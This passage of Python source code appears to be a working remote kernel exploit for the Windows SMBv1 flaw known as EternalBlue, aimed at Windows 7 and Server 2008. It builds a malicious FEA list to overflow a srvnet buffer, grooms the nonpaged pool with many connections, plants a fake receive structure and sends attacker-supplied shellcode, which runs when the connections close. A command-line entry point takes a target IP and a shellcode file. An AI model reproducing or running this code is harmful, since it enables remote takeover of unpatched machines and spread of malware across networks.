fakeSrvNetBufferX64 += '\x00'*16
fakeSrvNetBufferX64 += '\x00'*16
fakeSrvNetBufferX64 += '\x00'*16 # 0x40
fakeSrvNetBufferX64 += pack('<IIQ', 0, 0, TARGET_HAL_HEAP_ADDR_x64) # _, _, pointer to fake struct
fakeSrvNetBufferX64 += pack('<QQ', TARGET_HAL_HEAP_ADDR_x64+0x100, 0) # pmdl2
fakeSrvNetBufferX64 += pack('<QHHI', 0, 0x60, 0x1004, 0) # MDL.Next, MDL.Size, MDL.MdlFlags
fakeSrvNetBufferX64 += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR_x64-0x80) # MDL.Process, MDL.MappedSystemVa
fakeSrvNetBuffer = fakeSrvNetBufferNsa
#fakeSrvNetBuffer = fakeSrvNetBufferX64
feaList = pack('<I', 0x10000) # the max value of feaList size is 0x10000 (the only value that can trigger bug)
feaList += ntfea[NTFEA_SIZE]
# Note:
# - SMB1 data buffer header is 16 bytes and 8 bytes on x64 and x86 respectively
# - x64: below fea will be copy to offset 0x11000 of overflow buffer
# - x86: below fea will be copy to offset 0x10ff8 of overflow buffer
feaList += pack('<BBH', 0, 0, len(fakeSrvNetBuffer)-1) + fakeSrvNetBuffer # -1 because first '\x00' is for name
# stop copying by invalid flag (can be any value except 0 and 0x80)
feaList += pack('<BBH', 0x12, 0x34, 0x5678)
# fake struct for SrvNetWskReceiveComplete() and SrvNetCommonReceiveHandler()
# x64: fake struct is at ffffffff ffd00010
# offset 0xa0: LIST_ENTRY must be valid address. cannot be NULL.
# offset 0x08: set to 3 (DWORD) for invoking ptr to function
# offset 0x1d0: KSPIN_LOCK
# offset 0x1d8: array of pointer to function
#
# code path to get code exection after this struct is controlled
# SrvNetWskReceiveComplete() -> SrvNetCommonReceiveHandler() -> call fn_ptr
fake_recv_struct = pack('<QII', 0, 3, 0)
fake_recv_struct += '\x00'*16
fake_recv_struct += pack('<QII', 0, 3, 0)
fake_recv_struct += ('\x00'*16)*7
fake_recv_struct += pack('<QQ', TARGET_HAL_HEAP_ADDR_x64+0xa0, TARGET_HAL_HEAP_ADDR_x64+0xa0) # offset 0xa0 (LIST_ENTRY to itself)
fake_recv_struct += '\x00'*16
fake_recv_struct += pack('<IIQ', TARGET_HAL_HEAP_ADDR_x86+0xc0, TARGET_HAL_HEAP_ADDR_x86+0xc0, 0) # x86 LIST_ENTRY
fake_recv_struct += ('\x00'*16)*11
fake_recv_struct += pack('<QII', 0, 0, TARGET_HAL_HEAP_ADDR_x86+0x190) # fn_ptr array on x86
fake_recv_struct += pack('<IIQ', 0, TARGET_HAL_HEAP_ADDR_x86+0x1f0-1, 0) # x86 shellcode address
fake_recv_struct += ('\x00'*16)*3
fake_recv_struct += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR_x64+0x1e0) # offset 0x1d0: KSPINLOCK, fn_ptr array
fake_recv_struct += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR_x64+0x1f0-1) # x64 shellcode address - 1 (this value will be increment by one)
def getNTStatus(self):
return (self['ErrorCode'] << 16) | (self['_reserved'] << 8) | self['ErrorClass']
setattr(smb.NewSMBPacket, "getNTStatus", getNTStatus)
def sendEcho(conn, tid, data):
pkt = smb.NewSMBPacket()
pkt['Tid'] = tid
transCommand = smb.SMBCommand(smb.SMB.SMB_COM_ECHO)
transCommand['Parameters'] = smb.SMBEcho_Parameters()
transCommand['Data'] = smb.SMBEcho_Data()
transCommand['Parameters']['EchoCount'] = 1
transCommand['Data']['Data'] = data
pkt.addCommand(transCommand)
conn.sendSMB(pkt)
recvPkt = conn.recvSMB()
if recvPkt.getNTStatus() == 0:
print('got good ECHO response')
else:
print('got bad ECHO response: 0x{:x}'.format(recvPkt.getNTStatus()))
# do not know why Word Count can be 12
# if word count is not 12, setting ByteCount without enough data will be failed
class SMBSessionSetupAndXCustom_Parameters(smb.SMBAndXCommand_Parameters):
structure = (
('MaxBuffer','<H'),
('MaxMpxCount','<H'),
('VCNumber','<H'),
('SessionKey','<L'),
#('AnsiPwdLength','<H'),
('UnicodePwdLength','<H'),
('_reserved','<L=0'),
('Capabilities','<L'),
)
def createSessionAllocNonPaged(target, size):
# The big nonpaged pool allocation is in BlockingSessionSetupAndX() function
# You can see the allocation logic (even code is not the same) in WinNT4 source code
# https://github.com/Safe3/WinNT4/blob/master/private/ntos/srv/smbadmin.c#L1050 till line 1071
conn = smb.SMB(target, target)
_, flags2 = conn.get_flags()
# FLAGS2_EXTENDED_SECURITY MUST not be set
flags2 &= ~smb.SMB.FLAGS2_EXTENDED_SECURITY
# if not use unicode, buffer size on target machine is doubled because converting ascii to utf16
if size >= 0xffff:
flags2 &= ~smb.SMB.FLAGS2_UNICODE
reqSize = size // 2
else:
flags2 |= smb.SMB.FLAGS2_UNICODE
reqSize = size
conn.set_flags(flags2=flags2)
pkt = smb.NewSMBPacket()
sessionSetup = smb.SMBCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX)
sessionSetup['Parameters'] = SMBSessionSetupAndXCustom_Parameters()
sessionSetup['Parameters']['MaxBuffer'] = 61440 # can be any value greater than response size
sessionSetup['Parameters']['MaxMpxCount'] = 2 # can by any value
sessionSetup['Parameters']['VCNumber'] = os.getpid()
sessionSetup['Parameters']['SessionKey'] = 0
sessionSetup['Parameters']['AnsiPwdLength'] = 0
sessionSetup['Parameters']['UnicodePwdLength'] = 0
sessionSetup['Parameters']['Capabilities'] = 0x80000000
# set ByteCount here
sessionSetup['Data'] = pack('<H', reqSize) + '\x00'*20
pkt.addCommand(sessionSetup)
conn.sendSMB(pkt)
recvPkt = conn.recvSMB()
if recvPkt.getNTStatus() == 0:
print('SMB1 session setup allocate nonpaged pool success')
else:
print('SMB1 session setup allocate nonpaged pool failed')
return conn
# Note: impacket-0.9.15 struct has no ParameterDisplacement
############# SMB_COM_TRANSACTION2_SECONDARY (0x33)
class SMBTransaction2Secondary_Parameters_Fixed(smb.SMBCommand_Parameters):
structure = (
('TotalParameterCount','<H=0'),
('TotalDataCount','<H'),
('ParameterCount','<H=0'),
('ParameterOffset','<H=0'),
('ParameterDisplacement','<H=0'),
('DataCount','<H'),
('DataOffset','<H'),
('DataDisplacement','<H=0'),
('FID','<H=0'),
)
def send_trans2_second(conn, tid, data, displacement):
pkt = smb.NewSMBPacket()
pkt['Tid'] = tid
# assume no params
transCommand = smb.SMBCommand(smb.SMB.SMB_COM_TRANSACTION2_SECONDARY)
transCommand['Parameters'] = SMBTransaction2Secondary_Parameters_Fixed()
transCommand['Data'] = smb.SMBTransaction2Secondary_Data()
transCommand['Parameters']['TotalParameterCount'] = 0
transCommand['Parameters']['TotalDataCount'] = len(data)
fixedOffset = 32+3+18
transCommand['Data']['Pad1'] = ''
transCommand['Parameters']['ParameterCount'] = 0
transCommand['Parameters']['ParameterOffset'] = 0
if len(data) > 0:
pad2Len = (4 - fixedOffset % 4) % 4
transCommand['Data']['Pad2'] = '\xFF' * pad2Len
else:
transCommand['Data']['Pad2'] = ''
pad2Len = 0
transCommand['Parameters']['DataCount'] = len(data)
transCommand['Parameters']['DataOffset'] = fixedOffset + pad2Len
transCommand['Parameters']['DataDisplacement'] = displacement
transCommand['Data']['Trans_Parameters'] = ''
transCommand['Data']['Trans_Data'] = data
pkt.addCommand(transCommand)
conn.sendSMB(pkt)
def send_nt_trans(conn, tid, setup, data, param, firstDataFragmentSize, sendLastChunk=True):
pkt = smb.NewSMBPacket()
pkt['Tid'] = tid
command = pack('<H', setup)
transCommand = smb.SMBCommand(smb.SMB.SMB_COM_NT_TRANSACT)
transCommand['Parameters'] = smb.SMBNTTransaction_Parameters()
transCommand['Parameters']['MaxSetupCount'] = 1
transCommand['Parameters']['MaxParameterCount'] = len(param)
transCommand['Parameters']['MaxDataCount'] = 0
transCommand['Data'] = smb.SMBTransaction2_Data()
transCommand['Parameters']['Setup'] = command
transCommand['Parameters']['TotalParameterCount'] = len(param)
transCommand['Parameters']['TotalDataCount'] = len(data)
fixedOffset = 32+3+38 + len(command)
if len(param) > 0:
padLen = (4 - fixedOffset % 4 ) % 4
padBytes = '\xFF' * padLen
transCommand['Data']['Pad1'] = padBytes
else:
transCommand['Data']['Pad1'] = ''
padLen = 0
transCommand['Parameters']['ParameterCount'] = len(param)
transCommand['Parameters']['ParameterOffset'] = fixedOffset + padLen
if len(data) > 0:
pad2Len = (4 - (fixedOffset + padLen + len(param)) % 4) % 4
transCommand['Data']['Pad2'] = '\xFF' * pad2Len
else:
transCommand['Data']['Pad2'] = ''
pad2Len = 0
transCommand['Parameters']['DataCount'] = firstDataFragmentSize
transCommand['Parameters']['DataOffset'] = transCommand['Parameters']['ParameterOffset'] + len(param) + pad2Len
transCommand['Data']['Trans_Parameters'] = param
transCommand['Data']['Trans_Data'] = data[:firstDataFragmentSize]
pkt.addCommand(transCommand)
conn.sendSMB(pkt)
conn.recvSMB() # must be success
i = firstDataFragmentSize
while i < len(data):
sendSize = min(4096, len(data) - i)
if len(data) - i <= 4096:
if not sendLastChunk:
break
send_trans2_second(conn, tid, data[i:i+sendSize], i)
i += sendSize
if sendLastChunk:
conn.recvSMB()
return i
# connect to target and send a large nbss size with data 0x80 bytes
# this method is for allocating big nonpaged pool (no need to be same size as overflow buffer) on target
# a nonpaged pool is allocated by srvnet.sys that started by useful struct (especially after overwritten)
def createConnectionWithBigSMBFirst80(target):
# https://msdn.microsoft.com/en-us/library/cc246496.aspx
# Above link is about SMB2, but the important here is first 4 bytes.
# If using wireshark, you will see the StreamProtocolLength is NBSS length.
# The first 4 bytes is same for all SMB version. It is used for determine the SMB message length.
#
# After received first 4 bytes, srvnet.sys allocate nonpaged pool for receving SMB message.
# srvnet.sys forwards this buffer to SMB message handler after receiving all SMB message.
# Note: For Windows 7 and Windows 2008, srvnet.sys also forwards the SMB message to its handler when connection lost too.
sk = socket.create_connection((target, 445))
# For this exploit, use size is 0x11000
pkt = '\x00' + '\x00' + pack('>H', 0xfff7)
# There is no need to be SMB2 because we got code execution by corrupted srvnet buffer.
# Also this is invalid SMB2 message.
# I believe NSA exploit use SMB2 for hiding alert from IDS
#pkt += '\xffSMB' # smb2
# it can be anything even it is invalid
pkt += 'BAAD' # can be any
pkt += '\x00'*0x7c
sk.send(pkt)
return sk
def exploit(target, shellcode, numGroomConn):
# force using smb.SMB for SMB1
conn = smb.SMB(target, target)
# can use conn.login() for ntlmv2
conn.login_standard('', '')
server_os = conn.get_server_os()
print('Target OS: '+server_os)
if not (server_os.startswith("Windows 7 ") or server_os.startswith("Windows Server 2008 ")):
print('This exploit does not support this target')
sys.exit()
tid = conn.tree_connect_andx('\\\\'+target+'\\'+'IPC
)
# Here is code path in WinNT4 (all reference files are relative path to https://github.com/Safe3/WinNT4/blob/master/private/ntos/srv/)
# - SrvSmbNtTransaction() (smbtrans.c#L2677)
# - When all data is received, call ExecuteTransaction() at (smbtrans.c#L3113)
# - ExecuteTransaction() (smbtrans.c#L82)
# - Call dispatch table (smbtrans.c#L347)
# - Dispatch table is defined at srvdata.c#L972 (target is command 0, SrvSmbOpen2() function)
# - SrvSmbOpen2() (smbopen.c#L1002)
# - call SrvOs2FeaListToNt() (smbopen.c#L1095)
# https://msdn.microsoft.com/en-us/library/ee441720.aspx
# Send special feaList to a target except last fragment with SMB_COM_NT_TRANSACT and SMB_COM_TRANSACTION2_SECONDARY command
# Note: cannot use SMB_COM_TRANSACTION2 for the exploit because the TotalDataCount field is USHORT
# Note: transaction max data count is 66512 (0x103d0) and DataDisplacement is USHORT
progress = send_nt_trans(conn, tid, 0, feaList, '\x00'*30, 2000, False)
# we have to know what size of NtFeaList will be created when last fragment is sent
# make sure server recv all payload before starting allocate big NonPaged
#sendEcho(conn, tid, 'a'*12)
# create buffer size NTFEA_SIZE-0x1000 at server
# this buffer MUST NOT be big enough for overflown buffer
allocConn = createSessionAllocNonPaged(target, NTFEA_SIZE - 0x1010)
# groom nonpaged pool
# when many big nonpaged pool are allocated, allocate another big nonpaged pool should be next to the last one
srvnetConn = []
for i in range(numGroomConn):
sk = createConnectionWithBigSMBFirst80(target)
srvnetConn.append(sk)
# create buffer size NTFEA_SIZE at server
# this buffer will be replaced by overflown buffer
holeConn = createSessionAllocNonPaged(target, NTFEA_SIZE - 0x10)
# disconnect allocConn to free buffer
# expect small nonpaged pool allocation is not allocated next to holeConn because of this free buffer
allocConn.get_socket().close()
# hope one of srvnetConn is next to holeConn
for i in range(5):
sk = createConnectionWithBigSMBFirst80(target)
srvnetConn.append(sk)
# send echo again, all new 5 srvnet buffers should be created
#sendEcho(conn, tid, 'a'*12)
# remove holeConn to create hole for fea buffer
holeConn.get_socket().close()
# send last fragment to create buffer in hole and OOB write one of srvnetConn struct header
send_trans2_second(conn, tid, feaList[progress:], progress)
recvPkt = conn.recvSMB()
retStatus = recvPkt.getNTStatus()
# retStatus MUST be 0xc000000d (INVALID_PARAMETER) because of invalid fea flag
if retStatus == 0xc000000d:
print('good response status: INVALID_PARAMETER')
else:
print('bad response status: 0x{:08x}'.format(retStatus))
# one of srvnetConn struct header should be modified
# a corrupted buffer will write recv data in designed memory address
for sk in srvnetConn:
sk.send(fake_recv_struct + shellcode)
# execute shellcode by closing srvnet connection
for sk in srvnetConn:
sk.close()
# nicely close connection (no need for exploit)
conn.disconnect_tree(tid)
conn.logoff()
conn.get_socket().close()
if len(sys.argv) < 3:
print("{} <ip> <shellcode_file> [numGroomConn]".format(sys.argv[0]))
sys.exit(1)
TARGET=sys.argv[1]
numGroomConn = 13 if len(sys.argv) < 4 else int(sys.argv[3])
fp = open(sys.argv[2], 'rb')
sc = fp.read()
fp.close()
print('shellcode size: {:d}'.format(len(sc)))
print('numGroomConn: {:d}'.format(numGroomConn))
exploit(TARGET, sc, numGroomConn)
print('done')

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